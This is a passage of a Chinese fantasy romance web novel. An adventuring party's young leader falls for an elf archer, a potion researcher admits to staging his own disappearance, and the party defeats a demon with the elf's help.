艾伯特轻轻把手上的树枝扔到地上,他的小臂撑在腿上,下半张脸埋在双手之间,火光映着年轻的脸有些发红,绿色的长发将他的身形笼罩。 几根发丝耷拉在肩上,显得年龄比平时看起来还小些。 他小声说:“倒也不至于……” “现在已经……”他的声音越来越低,最后消散。 “你喜欢谁啊?我怎么不知道!”妮娜诧异,眉头紧拧在一起。 “你不知道有什么关系……”艾伯特转过眼眸,嘟囔道,“反正不是你。” 妮娜猛地站起身,“你!” “行了行了行了行了,”诺曼无奈地摆了摆手,“他说你就信啊。” “不说名字,一律当瞎说哦。”他睁一只眼闭一只眼,调笑道。 艾伯特瞪了他一眼:“你!” “好了好了,有没有感觉你俩有时候挺像的?”诺曼笑嘻嘻。 两个人对视了一眼,都扭过了头。 诺曼看着他俩这样,笑得更开心了。 他转头,看向旁边似乎正在发呆的精灵,忽然开口问道:“哎,阿方索,你有没有想过,以后想找什么样的妻子呢?” 这一问堪称神来之笔,说出了在场人的心声,谁能不好奇精灵的择偶标准呢? 特别是某绿发紫红眼睛的年轻贵族次子团长。 一瞬间,几道目光都齐齐聚集在了精灵身上,艾伯特也不瞪诺曼了,直勾勾的看着身边的精灵。 “什么样的,妻子?”精灵疑惑。 梅茜挑眉,不客气地张口:“听说精灵找伴侣的才是少数呢,而且一都是同族,不同元素都很难通婚是吗?而且似乎都很难有孩子。” 精灵沉默了一会,最终,他点点头。 “是的。”阿方索说,“有的,母树。有的,父母。” 诺曼有点诧异:“两种方式?精灵在这方面是有规定吗?” 阿方索摇了摇头,说:“没有,只是,伴侣少。” 艾伯特:“ 阿方索以后,也会找精灵作伴? “异族通婚,没见过。”阿方索说,“可能。我的父母是因为爱情结合的,我想,爱情,应该,很美好。” 阿方索想了想,说:“我的理想型,应该是,能让我,感受到爱。” 艾伯特追问:“那你想要的爱,又是什么样的?” 阿方索思考了下,说:“我不明白。” 艾伯特直起了身,动作有些大:“不明白怎么行?” 阿方索还没回答,艾伯特就意识到自己刚才的失态,他有些局促,又缩了回去。 “对不起……” “没事,”阿方索晃了晃羽饰,“只是,真的,不知道。” 梅茜倒不惊讶:“这样啊,也是。像精灵这样寿命长且超脱世界的生物,只有同族才能真正给予陪伴吧。” 诺曼带着暧昧的笑容,有些局促地说:“但爱可是一件难说的事哦?阿方索,如果你爱上一个短生种,你还会上前吗?” 阿方索思索了一下:“如果对方接受我,会吧。” 虽然刚才是调侃,但是得到了确定的回答,诺曼惊讶得合不拢嘴。 他调整了一下思绪,继续问:“哪怕对方的生命甚至不到你的百分之一?而且会容貌大变,性情大改,根本不像你爱上时的那个人。” “伴侣,会在母树前,宣誓忠诚。”阿方索解释道,“一经宣誓,不可更改。” “同族中,一方死去,另一方不会再有。死亡,回归,所以,不用伤心。” 阿方索轻轻把手放在胸口的水滴吊坠上 “……何况,对方选择我,一定,付出很多。” 艾伯特难得没有接话,他安静下来,眼神有些晦暗不明。 妮娜有些憧憬:“这样啊…” 艾伯特忽然问:“你们难道不伤心亲密的人离开吗?” “寿命长,也有。”阿方索慢吞吞地说,“……尼莫叔叔的爱人,回归后,他再也没有离开过,爱人的生长地。” “所以,应该,会落寞。” 梅茜沉吟了片刻,问:“但是我听说精灵的感情似乎比别的族群更淡?” “淡漠,活的太久。”精灵说,“母树说,长生种,多少都这样。” 梅茜笑了。 “也是呢。”她说。 阿方索认真地补充:“像我这样,没活多久的,还是会,伤心的。” 诺曼若有所思:“这样啊,那这么说,如果对方是异族的话,阿方索还是晚点遇见比较好吧。” 艾伯特抿起嘴唇,心情有些复杂。 夜色逐渐变得深沉,诺曼打了个哈欠,站起身伸了个懒腰:“时候真不早了,谈心也该结束了,明天还要早起呢,快点睡吧。” 梅茜也跟着起身。妮娜有点不甘心,但是经过一天的奔波,她的身体也确实有些吃不消了,只好同意。 其他三人依次都回去休息,艾伯特却没移动,他坐在阿方索旁边,拿着木枝轻轻拨弄着篝火。 几点火星向上升起,飘过他的紫红色的眼睛,与耳垂上的红宝石耳钉辉映。 周围除了偶尔的风动和虫鸣,氛围静谧,只剩两人坐在一起,谁也没有开口。 “阿方索,你刚才说的话,都是认真的吗?” 终究,还是艾伯特先按捺不住。 “嗯。” “那,为什么要加入冒险团?阿方索不担心我们会分开吗?”艾伯特立即追问,他的语速渐渐变得急促,“我们都老了之后,你还是这么年轻……” 精灵垂着眼,没有回答。 看着他的侧脸,艾伯特的话语戛然而止,他意识到,自己刚才有点太心急了。 说到底,他们认识还没有超过一周,现在说这样的话,果然有点不合适。 艾伯特扯了扯嘴角,双手紧紧握在一起,十指交叉。 顿了顿,他又开口。 “阿方索觉得,这几天怎么样?”艾伯特问。 他的语气很轻,像是怕惊动身边的人,其中有些小心,却又暗含着些期待。 “很好。” 这一次,精灵的回答很迅速。 艾伯特听到这两个字,瞳孔微微放大。他忍不住抬起头,就对上了心心念念的那个人的视线。 “现在和你们的冒险,我很喜欢。” 阿方索偏过头看着他,线条被火光映得柔和,眉目舒展。 “我很期待,明天的生活,经历。” 艾伯特看着他如同清泉般的眼睛,里面倒映着的,是小小的自己。 嘴角不自觉间,勾出了柔软的弧度。 “我也是。” 他轻声说。 艾伯特心里暖暖的,正幸福的不知所措,就听见旁边又缓缓开口。 “对了。” “嗯,怎么了吗?”他急忙回应。 “下次,慢点。” “我,需要,想,怎么,说话。” “…………” “好。” 14. 吊坠 第二天一早,艾伯特是在帐篷里醒来的。 他撑起身子,眼神还有些迷茫,藻绿的长发垂落在身上,脑中还是昨晚两人谈心时的画面。 低头,被子堆在腰间;转头,斗篷被解开,整齐叠放在了一旁。 艾伯特不禁扶额。 ……他本来是想陪阿方索守夜的,却没想到在不知不觉间睡着了。 话说,昨晚是怎么回来的来着? 艾伯特没有梦游的前科,一定是谁把他送了回来。 当时睡着的时候,要是摔在地上,自己也肯定早醒了,说明一定有谁接住了他…… 而当时外面只剩下他和阿方索,两人当时坐得还那么近,那么真相只有一个。 难道说。 原本在额头上的手落下,艾伯特捂住了嘴巴,脸部肉眼可见的红了起来。 维持了片刻这个姿势,他的目光落在了旁边被叠成方块的披风。 眼神盯了几秒,艾伯特终于伸手,他小心地把披风拿起,放到眼前。 虽然这种想法非常羞耻,也完全不应该是一个团长该有的行为…… 可是一想到阿方索曾经触碰过自己的斗篷,甚至那双纤长的手还整理过它…… 四处无人。 最终,艾伯特将脸埋了进去。 感受。 而同时,另一个当事人对此一无所知。 阿方索此时正坐在溪水边梳理自己,水珠泼上他的面容,带来些许清凉。 有一些不小心洒进眼睛,碧绿晶莹的眼眸下意识眯起。 精灵伸手,用指节抹去眼角的水光,金色的发丝在晨光下泛着淡淡的微芒。 此情此景,即使是最精致的油画也难以比拟。 昨天晚上的事,于他来说,只是举手之劳。 昨晚和艾伯特聊天之后,两人就没怎么说话。 气氛安静,却不觉得尴尬。 说来也是有点奇怪,阿方索能肯定,他们之前绝对没有见过面。 但自打第一次见到这个少年开始,他对他有种莫名的熟悉感, 这种感觉说不上有一见钟情那种猛烈,但是也确实让人觉得亲近得多。 或许,这就是母树说过的“缘分”吧。 而在之后的相处中,每一天,阿方索对他的好感就要多一点。 开始的原因很简单。阿方索觉得,既然加入了冒险团,就应该帮助伙伴,完成被分配的任务。 而艾伯特是团长,他的指令,需要被最优先执行。 与其他成员不同,阿方索参加冒险团,真的单纯就是为了冒险,所以这一点在精灵看来,是再正常不过的事情。 好感度增长的另一个原因,则是阿方索也能看出来艾伯特在维护自己,虽然不知道为什么,但是他喜欢这个。 大家对他都很好,但是艾伯特对他最好。 所以,阿方索也想回报同样的善意。 尼尼在旁边的干草堆上打着呼噜,阿方索正闭眼假寐。 与自然的天然连接能让他在放松时也能感到周围的情况,而且万一有他错过的异动,母树也会及时提醒。 突然间,精灵感到肩膀一沉。 阿方索缓缓睁开眼。 映入眼帘的,是绿发少年安静的睡颜,温热的呼吸轻轻拂过侧脸,弄得他的耳朵有点痒。 晚上,是该睡觉的时间了。 阿方索扶过他的身子,准备把他送回帐篷。 一回生二回熟,这一次,精灵抱的很熟练。 可能是因为这一次艾伯特在熟睡,不似白天时清醒,手感要比那时重了许多。 精灵也能更加清晰地感受到他的体温,比自己的要温暖许多,有些像火炉,但又不至于灼热。 他脚步很轻,把艾伯特送回了他的帐篷。 他替他解下腰间的佩剑,把人轻轻放在铺好的软垫上。 把人放下之后,精灵本来打算继续回去守夜,但是艾伯特还穿着斗篷。 阿方索想,自己一般不穿斗篷睡觉。 所以他为少年解下了斗篷,叠好,放在一旁。 放下斗篷时,他又看到了旁边的被褥。 嗯,睡觉盖被子也很合理。 所以,阿方索有给他盖好了被子。 看着艾伯特抱着被子熟睡的样子,他满意地点了点头,没有一丝留恋地转身离开了。 阿方索再次回到营地,大家基本都已经起床了。 梅茜一边打哈欠,一边给自己编着小辫;诺曼拎着个铁桶,准备去溪边打点水回来洗漱和准备早餐。 没看见妮娜,可能起床了,但是没出帐篷。 艾伯特已经穿戴完整。看见他回来,立刻迎了上去,笑容灿烂。 “阿方索,早上好啊!”他朝他挥了挥手,语气轻快。“昨晚守夜有没有很累?要不要再休息一下?” “早。”阿方索点点头,“还好,不用休息。” “对了,那个……”年轻团长的声音突然变得有点扭捏,小心试探,“……昨晚,谢谢你了。” “没事,不重。”阿方索的语气依旧平淡。 得到精灵肯定的答复之后,少年的眼睛立刻就亮了起来,整个人浑身上下似乎都散满了小花,愉悦无比。 “那怎么能行,”他凑到精灵身边,“下一次有需要的时候,我来帮你好了。” 妮娜一早起来,刚掀开门帘,就看见不远处,曾经的未婚夫正站在不自知的情敌面前,两人在一起窃窃私语,她脸上的表情瞬间变得有些难看。 诺曼刚打水回来,看见这一幕也是无语凝噎,不忍直视。 虽然知道你就是演都不想演,但是就不能换个大小姐看不到的地方再开屏吗,艾伯特!? 梅茜倒是没有什么特别的反应。编完小辫,她拿着小镜子照了照,又懒洋洋地去水边整理了仪容。 回来的时候早餐还没做好,她洗了两颗浆果,又开始翻检昨天采的草药。 妮娜直到早餐做好才又重新出来。 诺曼给她专门留了洗漱的水,她看起来似乎一切正常,只不过一早上看都没看艾伯特和精灵一眼。 只不过杀伤力为零,艾伯特根本无所谓,而对精灵来说,他似乎就没有这方面的概念。 阿方索又给尼尼喂了两条小鱼,猫儿美美吃完,又回到他的肩膀上。 简单解决完早餐,收拾好帐篷,把篝火踩灭,五人一猫便再次出发。 清晨的密林看起来比夜晚的要友好很多,鸟儿的叽喳声清脆而嘹亮,空气中带着些许露水的气息。 精灵胸口的吊坠在阳光下流转着淡蓝色的光辉,水滴状的坠石被细绳系住,清澈又神秘。 纽曼看了又看,终究没忍住开口:“阿方索,你的吊坠是用什么打造的?是宝石吗?还是说有魔法的?” 他嘶了一声,“不过我感受不到魔力……是有封印吗?” 提到吊坠,梅茜也有点好奇,她细细观察:“我好像也从未见过这样的宝石……是精灵族的特产吗?” 阿方索低头看了一眼胸口的吊坠。 “应该,只是石头。”他回答。 诺曼的神情明显不信,梅茜也微微拧起了眉毛。 不是说他们不想相信阿方索的话,但是按理来说,会有精灵无缘无故带一块石头在身上吗? 石头,会有这么好看的石头? 诺曼只是单纯觉得不像,梅茜则要想得更多。 在她看来,阿方索金色的头发,现在都没有一个合理的解释,现在,就连吊坠,都还给这种敷衍的回答吗? 虽然他已经证明了他的力量,可是阿方索身上的谜团也未免有点太多了。 “哎?是石头吗?好好看啊”艾伯特有些惊讶地睁大了眼睛,新奇地打量,“你一直戴在脖子上,这么珍惜,我还以为会像里面那样,有什么特殊力量呢。” “不知道。”阿方索摇摇头,“我父母,在六岁时,送我玩。” 妮娜听见,哼了一声。 “我还以为有什么大来头呢。”她语气中带着轻蔑,“原来就是一块石头啊。” 艾伯特表情瞬间冷了下去:“你别这么说。” 妮娜没有一丝认错的意思,两人目光相撞,谁也不肯让步,空气中有火药味涌动。 但艾伯特没有和她立刻吵起来,他回过头,让妮娜的视线落空,少年的语气再次变得温柔。 “阿方索和父母关系好吗?”他问。 阿方索点点头,说:“挺好的。” “不过,”艾伯特问,“怎么不见你和他们联系呢?” 他想了想, 自己给自己找了个解释,“不过你们精灵寿命长,这段时间不联系也不算什么?” “不是,这个。”阿方索摇了摇头,“我很久,没见他们了” “为什么?”艾伯特轻声询问。 “在我六岁,父母,回归。”精灵把搭在吊坠上的手轻轻放下,语气平静地解释,“他们出门前,答应我。这个水滴,后来,有人把它送来。” 艾伯特的笑容僵硬在了脸上。 没有记错的话,在精灵的话语中,回归的意思,就是去世吧? 艾伯特:……… 众人:……… 为什么,刚才要挑起这个话题啊! 诺曼彻底哑火,他张了张嘴,说出来的话像是从牙缝中挤出来的一样。 “原,原来是阿方索父母的遗物啊……那父母离开,之后,谁照顾你呢?” “树。”阿方索回答,“树陪我。” “没有人吗……?” “自己摘果子,打猎。树会帮我。长老们,会来看我。” “那,多久一次呢?” 阿方索认真地回忆了一下。 “一年?两年?有时,出门,树告诉我,有人来过。”他语速缓慢。 “你不孤独吗?” 艾伯特忽然开口,眼眶有些发红。 “……还好?”精灵歪了歪头,“十二岁后,见到别的精灵,树教我,我也会和他们玩……” 似乎觉得“玩”这个词不太准确,精灵在话尾停顿了下,换了一种说法。 “……嗯,一起说话。”最终,他这样解释道。 诺曼感觉不太对劲,总觉得按阿方索的性格,如果关系真的十分要好,不会斟酌这种词汇。 艾伯特不太相信:“真的?” 阿方索顿了顿,似乎在组织语言,他开口道:“……因为,出去时,和伯尔爷爷一起。” 阿方索的表情有点微妙,似乎想起了什么,“他们,不过来。” 众人听到这样的解释,不但没有放轻松,反而眼神更加复杂了。 艾伯特眼睛里似乎都要盈上水光,但阿方索表情倒是一如既往地正常。 看大家用各种异样的眼神看着他,精灵似乎有点疑惑:“怎么了?不说话?” 梅茜率先反应过来,她急忙回应:“没什么……接下来是这个路口吧,我们走吧!” 正好走到了岔路口,梅茜迅速指向右边,脸上还带着欲盖弥彰的笑容。 阿方索点点头,说:“我去探路。” 他轻身一跃,落在前方的树枝上,没多久就消失在了茂密的林叶之间。 艾伯特声音有些低:“走得好快……几下就不见了。” “不用担心,精灵在林间是舒适区。”梅茜昂起头,看向阿方索消失的方向,“这个距离,足够他及时回来,或者我们及时找到他。” “我们离目的地不远了,他对元素的亲和,也足以让他不至于迷路。” 诺曼面色复杂,他抬头打量着精灵消失的方向,喃喃自语道:“好像,是不大影响的样子?” 他转头看向旁边一直沉默的少女,有点担心的问:“妮娜?” 妮娜没有应答,只是一味绞着自己的衣角,咬着唇不说话。 梅茜看着她这样,叹了口气。 “妮娜,下次说话小心些吧。”善魔微微侧头,“阿方索也许不在意,但是不是所有人都不在意的。” “我知道你不是那种心性恶劣的女孩,但是有时候,真的有点过分了。” 梅茜回过头,继续向前走去,“我们都知道,如果艾伯特不那么对他,你不会这样为难他,对吧?” “但是这不是阿方索的错,妮娜,你没法要求谁喜欢谁,谁不喜欢谁的。” 妮娜的唇被下齿咬的发白,但是梅茜的话却并没有停下。 “我也没有办法要求你喜不喜欢阿方索,但是妮娜,我可以对你说,作为同一冒险团的伙伴,我觉得你对他这样是不公平的。”梅茜轻言细语地说。 “如果你想好好想想,或者想和他说些什么,等任务结束,我们还有很多时间。” “现在,还是先继续委托吧。”没有等待少女的回答,她抬起头。 “……我能感受到,‘里伊索’的源头,就在附近了。” 15. 一箭 枝叶丛杂的密林间,一道灰色的身影在其中轻盈地穿梭来去,速度极快,动作迅捷,但奇迹般几近无声。 阿方索注意着周围的动静,时不时停下观察。 路途已近,元素的气息即使不用魔法,他也能轻松捕捉。 没有发现些许异常,甚至连大型动物的痕迹都没有,似乎整个失语密林中的生物,都在刻意避开这边一样。 前方的道路意外平静,甚至有些过于平静了。 不知是好是坏。精灵犹豫了一下,还是决定先回到冒险团身边,向其他成员报告一下这边的情况。 他刚要转身,就在这时,本来一路上都安安静静的尼尼忽然叫了一声。 随后,它从阿方索的肩膀上跳了下来,冲到了前方,消失在了灌木丛旁中。 阿方索下意识伸手。 明明触碰到了皮毛,却在抓到的那一刻落了空。 那不是一只猫该有的速度。 精灵抬头,调转方向,向着猫跑掉的地方追去。 不过片刻后,他拨开挡住视线的草叶,一阵馥郁香甜的气味就扑面而来。 糜烂。像是熟透到极点,即将腐败的果实。 阿方索停下脚步,没有继续向前,他轻轻一跃,踏上前方的高枝,低头看去。 不远处,巨大的魔花在空地上盛开,花瓣层层叠叠,仿佛耸立的高塔。 突出的花蕊上挂着晶莹剔透的汁液,如同垂涎,在无人之处独自落下,发出粘稠的声音。 滴答,滴答。 周围十米内,再无其他任何植物生长,也没有任何其他动物出没的痕迹。 剧烈的美也伴有剧烈的掠夺。魔花肆无忌惮地掠夺,把周围一切的生机都榨取为自身的养分。 ……那是,“里伊索”的源头。 “很惊讶吗?” 树下,一道陌生的清脆的声音传来。 阿方索回过头,就看见一个猫耳少年站在树下,有些漫不经心地整理着衣领。 那人长相清秀,一双眼睛尾部微微挑起,平添了几分属于猫的狡黠,黑色的头发柔顺地贴在耳边。 他耳朵和尾部的颜色,和尼尼一模一样。 “这几天憋死我了,”他一边嘟囔,打量着树上的精灵,“……不过,那只狐狸倒也没骗我。” “你……”阿方索皱着眉张口。 “虽然我知道你有很多疑惑,我们也不是初次见面了。但是,还是允许我先自我介绍一下。” 猫耳少年的耳朵动了动,他抬起杏眼,对上阿方索那双如同湖水的眼眸,缓缓开口。 “我的名字,维特·尼尔利。”他摊了摊手,“如你所见,我就是你们要找的那个人。” “你或许不认识我,但是我知道你。” 维特笑了笑,向阿方索伸出手。 “我的师傅,就是一位精灵,她跟我提过你。” 阿方索看着他,脸上却没有丝毫惊讶,表情一如既往的平静,像是在说: 所以呢? 维特表情有点挂不住,他的尾巴忍不住甩了甩,试图引起注意。 “你就不打算问点什么?” “你,没有失踪?”阿方索从树上跃下,站在他的面前。 “嗯。” “那你,为什么委托?” 维特没有立刻正面回答,他指了指旁边的那朵正肆意盛开的魔花。 “这朵魔花是我在半年前发现的,看到它的第一眼,我就知道,它会成为我此生最得意的研究之一。” “事实也正如所料。与那些普通的仿制药剂相比,加入魔花中的物质—我称为‘里伊索’—的那些对照组,能够在大幅降低成本的同时维持甚至提升药效,而且目前,没有发现有什么特别严重的副作用。” “如果放任这株魔花生长,后果会非常严重,它的元素过于浓郁,整个失语密林都有可能会被侵蚀,失去生命力,成为供养它的温床。” “如果直接上报城镇的话,公会会被安排专门的队伍进行调研,对魔花进行干预,甚至消灭。” “但我需要保留它,目前只有精灵的能力能做到这一点。” 维特话锋一转,目光变得灼热。 “所以,我需要你帮助我。” “这就是我这几天费尽心思,待在你们身边,引你来这里的原因。” 他身体向前倾,双手紧握。 “只要能研究成功,不仅会是魔药界的一大进步,木林镇也可以借此富裕起来。” 提到小镇,维特的语气变得柔和。 “这种物质在现在的魔药界内还是空白,只要能进行更深入的研究,就一定会有突破!” 他紧紧盯着精灵,语速加快。 “我知道,一百金币对你们来说不算什么。” “但只要你们愿意帮忙,我以后的所有收入的十分之一,都可以给你们。之后研究出的药剂,也可以先供应给你们。” “只要是我能做的,我都可以帮忙。” 维特话语恳切又激动,瞳孔都有些放大,尾巴高高地翘起来。 “我知道我做的不对,不应该骗人,但是我也真的没有别的办法了……!” 平心而论,维特提出的,其实是相当优厚的条件了。 一个药剂天才对于未来的许诺,价值又岂是千金可以比拟的? 如果是其他人,恐怕早就忙不迭地答应了。 可惜,他面对的是一个精灵。 “你怎么知道,我会在。”精灵没有立刻答应,他反问,语气有些严肃。 维特愣了一下,还是乖乖回答。 “737告诉我的,他跟我说,最近会有一个精灵在附近。” 那张笑眯眯的脸出现在脑海。 “他,为什么知道?” “谁知道他怎么知道的?那只狐狸就那样。”一提到737,维特的脸色变得难看。 他还记得那天的初遇,那时维特刚做生意不久,有一次去城镇推销。 这种事情也不是第一次,他自以为很隐蔽,没想到还是被抓住了。 维特永远忘不了那天的狼狈,被踩住肩膀动弹不得,还被押着去局子拍了照。 ……虽然后来他被放了出来,两人成了合作关系,维特也借此得到了营业资格,但果然还是很讨厌就是了。 “要是你想知道,就问他好了,我真的不知道。他那种神神秘秘脑子还有问题的大人物,我可惹不起。” “他们,在哪?”精灵忽然问。 “啊?”维特愣了一下,才反应过来阿方索指的是冒险团,他挑了挑眉。 “哦,可能是迷路了吧。” 这个时间,就算冒险团走得再慢,也应该到了。 而两人聊了这么久,周围别说艾伯特他们了,连个会动的活物都没有。 “为了不让一些不怀好意的其他人找到这株魔花,我特地收集了一些魔花的汁液进行提纯,做了一个伪造的起源点。离这有些距离,但也不算太远。”维特解释。 “不。”阿方索皱眉,“我感受不到,他们的气息。” “啊,不应该吧?”维特挠了挠耳朵,“我那个就是个诱饵点啊,没下什么别的陷阱。” 他想了想,又补充道。 “呃,不过,好像确实可能会吸引一些比较特别的不速之客?” “像是一些会被浓烈元素吸引的种类,”维特掰了掰手指,“比如魔族之类的?我之前在书上看过,他们好像有的可以隐藏周围环境的气息。” “不过怎么可能,我们这早八百年就没有恶魔入侵的记载了,总不可能你们一来就有了吧?”他哈哈笑了两声。 “还这么巧,没找到真的,被假的给骗了。” “……” “……还、还那么巧遇上……” “……” “……我靠。” 最终,维特没忍住爆了个粗口。 面前的精灵瞬间消失,只剩下斗篷的残影。 “……哎,也不至于那么快吧,等等我啊!” 已经记不清过去多久了。 艾伯特看着面前身穿白衣的魔族,恍惚地想到。 恶魔面无表情地看着他,眼神里空无一物,没有任何情绪可言。 他手里的指挥棒泛着幽幽冷光,每次的轻轻挥动,都会在瞬间造成巨大的伤害,周 围烟尘弥漫,草木倒塌。 妮娜跌坐在地上,捂着心口小声抽泣,剧痛侵蚀了她的理智,手脚发麻,连思考能力都完全失去了。 诺曼守着她,满头大汗,明显也是在强撑。 “为什么,会遇见魔族啊?!”他有气无力,声音颤抖地哀叹。 四人按照元素踪迹的路线前行,最终走到了这里。 结果没碰到所谓的特级魔物,没遇到维特·尼尔利,就连阿方索也不见踪影,还不知道哪里冒出来了一个恶魔。 梅茜一眼就认了出来。 善魔与恶魔的外形大体一致,但与拥有自主意识的善魔不同,恶魔只是被魔力操纵的人偶,没有自主的意识,只是依据不知何处获得的规则而行动。 不会疲惫,不会动容,也不听解释。 同时,因为其一般都具有强大的力量,一旦被盯上,就极其难缠。 恶魔在大陆上的风评也极差,因为外形相似的原因,甚至连累了善魔不少。 恶魔一旦出现,就会被严加监管,但凡留下半点踪迹,都会被公会广而告之。 而冒险团在出发之前做过调研,可没听说过木林镇有过恶魔出现的踪迹。 艾伯特机械地挥动手里的银剑,几乎全靠肌肉记忆格挡攻击。 不仅是身体上的疲惫,还有精神上的。 思绪变得混乱而模糊,长时间深埋于心底的暗影被诱发,然后无限扩大。 是啊,如果一直是这样,达不到他人的期待,也达不到自己的期待。 只是一厢情愿地靠着繁杂而无可厚非的琐事帮助他人,却在真正重要的事上无能为力,那么永远也无法真正获得想要的生活,也永远不配站在想爱的人身边吧。 混乱的思绪在少年的脑中不断翻涌,发出刺耳的声响。 艾伯特知道这是对方的精神影响在起作用,但是那种思绪如同浪潮,让他觉得胃部一阵绞痛。 眼前发白。颤抖的手握紧了剑,但无论如何,都不能退后。 剑的后面,是队友,是同伴,还有那个……此时不知身处何处的那个人。 阿方索绝不是会抛下他们的人,一定是有什么原因导致拖延,如果他在此倒下,哪那个人又该怎么办?! 怎么能让那个人独自面对倒下的伙伴,那时候的阿方索,又会是什么样的表情呢? 想象不出来,也没有时间想象,只是,光是想到那种可能,他就觉得心里一阵刺痛。 艾伯特咬住了牙关,趁魔物施法分神的一瞬间,他猛地冲了上去,一剑直直挥落。 咚。 即使被斩下头颅,魔物的表情没有任何的变化。 它攻击的动作停下了,下意识退后一步,身体不自觉摇晃了几下,伸手向脖颈上摸去,只是一片空空。 艾伯特退后,控制不住地喘着粗气。 但还来不及有半点庆幸,对方又重新开始动作。 恶魔向前一步,踩碎了无用之物。 头颅化成了黑烟,重新融入了恶魔的身体,它歪了歪头,空洞的眼眸转向气喘吁吁的少年,抬起了手。 “不行……”梅茜握紧魔杖,支撑身体,“它的弱点,不在头颅!” 她懊恼地低语,但是身体动弹不得,这种程度的恶魔超出了梅茜的想象。 早知道会遇见这种程度的危险,就不该贸然接下这个委托,现在陷入这样的境地,是她作为向导的重大失职。 如果阿方索在就好了。 这种想法不约而同地出现在所有人的思绪中。 作为精灵,他天生就具有观察的能力,一定能找到弱点。 弓手的话,利用地形优势的话,怎么也不至于落入现在这样被动的境界吧? 那个人拥有那样强大冷静的心态,换做是他,一定能更好地保护大家吧。 如果是和他一起,即使是死亡,也可以无所谓吧。 难道,真的只能到此为止了吗? 下一秒。 一道破空声从上方传来。 恶魔准备施展攻击的手滞在了半空,甚至还没来得及回头,做出任何反应。 原本拿着指挥棒的手臂,应声而断。 16. 拥抱 苍白的手臂被箭矢撕下,却不见一丝血色,也不见恶魔有一丝一毫的痛楚。 “恶心。”梅茜咬牙。 失去本体的控制后,手掌也失去了行动能力,松了开来,黑色的指挥棒落在地上,滚了两圈。 恶魔无法再生手臂,他俯下身子,尝试用另一只手捡起指挥棒。 但是箭矢没有给他机会。 几乎是射落的同一瞬间,箭矢化为藤蔓,猛地缠住猎物。 在这极柔韧生命的衬托下,指挥棒如同黑色的细枝,轻松便能折断。 绿光收缩,顿时,那根拥有毁灭力量的魔杖便化为灰飞,箭矢也消作了虚无。 这种熟悉的弓法,冒险团都见识过。 是他。 阿方索,回来了。 在场的人除了妮娜无暇顾及,都同时抬头看向箭矢的来处。 一道身影出现在树枝上,半蹲在枝头的样子,如同最轻盈的鸟儿。 他挽着简朴的木弓,面色未动。 看见恶魔朝自己看来,精灵手中的长弓微微偏起,又将一箭射出,直指那双眼睛。 那双碧水般的眼眸毫无恐惧,动作迅利而无情。 恶魔下意识躲开,但箭光追寻的速度更快,他几下的躲避都只能堪堪避过。 最终,不得已,恶魔以手握箭,硬生生接下这一击。 与箭矢一同消失的,是他仅存的五指。 恶魔的能力被削弱,妮娜的面部表情放松了一些,捂住胸口的手缓缓松开,呼吸也变得平缓。 但抵抗痛苦也消耗了她最后的精力。在疼痛消失后,少女的身体也失去了抵抗的意志,妮娜喘了喘,忽然一头栽下,倒了下去。 阿方索身形一闪,来到妮娜身边,利落地接住她。 精灵的手按住她的肩,接触到的地方泛起了一阵绿光,充满了生命力。 精灵的治愈术。 随着绿光的扩散,脱力在一旁的诺曼也恢复了一些力气,他挣扎起身,来到了两人身边。 “扶稳她。”精灵低声说。 诺曼立刻接手,他咬着牙,撑起少女的上半身。 喘了口气,男人勉强张口。 “阿方索,你刚才去哪了……?尼尼呢?” 精灵来不及回答,看诺曼扶稳,他便转身。 “尼尼骗人。”他简略地说。 “委托,完成了。”精灵丢下这句话,便闪身回到了战场。 只留诺曼扶着昏蒙无力的妮娜,一个人在那里眨着眼,回味着这两句没头没脑但信息量巨大的话。 什么叫尼尼骗人?什么又叫委托完成了?? 算了,男人摇摇头,扯到耳后的伤口,疼得忍不住呲牙。 反正人总算齐了,目前看来也不用死了,想那么多干嘛。 诺曼决定这些以后再说。他伸手,尝试去够妮娜落在一边的药剂箱。 原本精致的木箱此刻布满了损伤与划痕,和他的手一样。 诺曼来不及心疼,从其中翻找还能使用的药剂。 随着恶魔魔力的消退,原本的影响也逐渐减轻。 阿方索的箭被白衣恶魔握住的同时,梅茜忽然感觉到身上将自己箍住的力量兀然一松。 梅茜瞬间明白,恶魔的弱点,是手臂! 即使筋疲力尽,她也强撑起身,调动身体里仅存的力量,嘴里念动咒语,对着敌人的方向伸出了手。 她掌心的法阵凝结出出一团紫色的暗火,随着魔法的爆发,如同撕咬猎物的毒蛇,瞬间绞住了恶魔的另一条手臂。 恶魔无暇顾及,他被返回的精灵射中了双眼,身体剧烈地摇晃,嘴里嘟哝着意味不明的话语。 身上的白衣破碎不堪,却挺立着身体,古怪而诡异。 由于失去了专门储存和释放魔力的部位和武器,整个魔看起来萎靡了很多,伤口处冒出不祥的黑气,身形也似乎缩小了不少。 趁此机会,艾伯特再次举起长剑,借着恶魔行动迟缓的瞬间,他手中银光一闪,将利刃狠狠刺入敌者的胸膛。 恶魔发出一声痛苦的闷哼,终于,他跪坐了下去,再起不能,他的身体剧烈颤动,最终化为黑烟,烟消云散。 艾伯特抽回剑,气喘吁吁地望着眼前狼狈不堪的对手,眼中没有欣喜,只余疲惫。 原本以为不可战胜的敌人,此刻如同垃圾一般倒在地上,连血迹都无,只剩一堆破烂的白布。 一颗黑色的晶石躺在白布中央,散发着幽幽暗光。 艾伯特看见了它,但是并没有低头立即捡起,他咽下口中血腥味的唾液,喘了口气。 旁边,诺曼撑着妮娜蛄蛹到梅茜身边,递给她恢复体力和魔力的药剂。 再远一点的地方,有脚步声急促地传来,伴随着瓶罐碰撞叮当的响声。 然而,这一切和他又有什么关系? 艾伯特恍惚地想,莫名觉得有些荒谬。 反正,本来就是一场闹剧,一次不打算回头的冒险。 一个连自己想要什么都不清楚的人贸然踏上的旅途,在哪里结束都可以。 本来就该独自一人去承担,却连累上了别人。 说到底,从一开始就不该…… 艾伯特深吸一口气,强行把不良情绪压下去,现在不是想这些的时候。 理智知道这一点,但是不妨碍他心情很差。 他再次抬起头,想平复一下心情,目光却就此停住。 在艾伯特给予恶魔终结的时刻,阿方索就在对面,目睹了全程。 此刻,他收起了木弓,一边抬头看向艾伯特,一边向他走来。 “做得好。”精灵对他点了点头。 年轻的团长看着他,没有回答。 此刻,艾伯特觉得浑身发软,所有的气力,似乎都在听见精灵夸奖的那一刻彻底消失。 他脚步虚浮,身体摇晃了几下,少年剑士绕过恶魔的残骸,差点摔倒,却仍然坚持踉跄着向前走去。 精灵看见他不稳的样子,快速上前几步,扶住了他的手臂。 “……怎么了?” 艾伯特依旧没有回答。 就在被扶住的一瞬间,艾伯特身体不由自主地向前倒去。 啊,也许称为是故意的,会更合适一些吧。 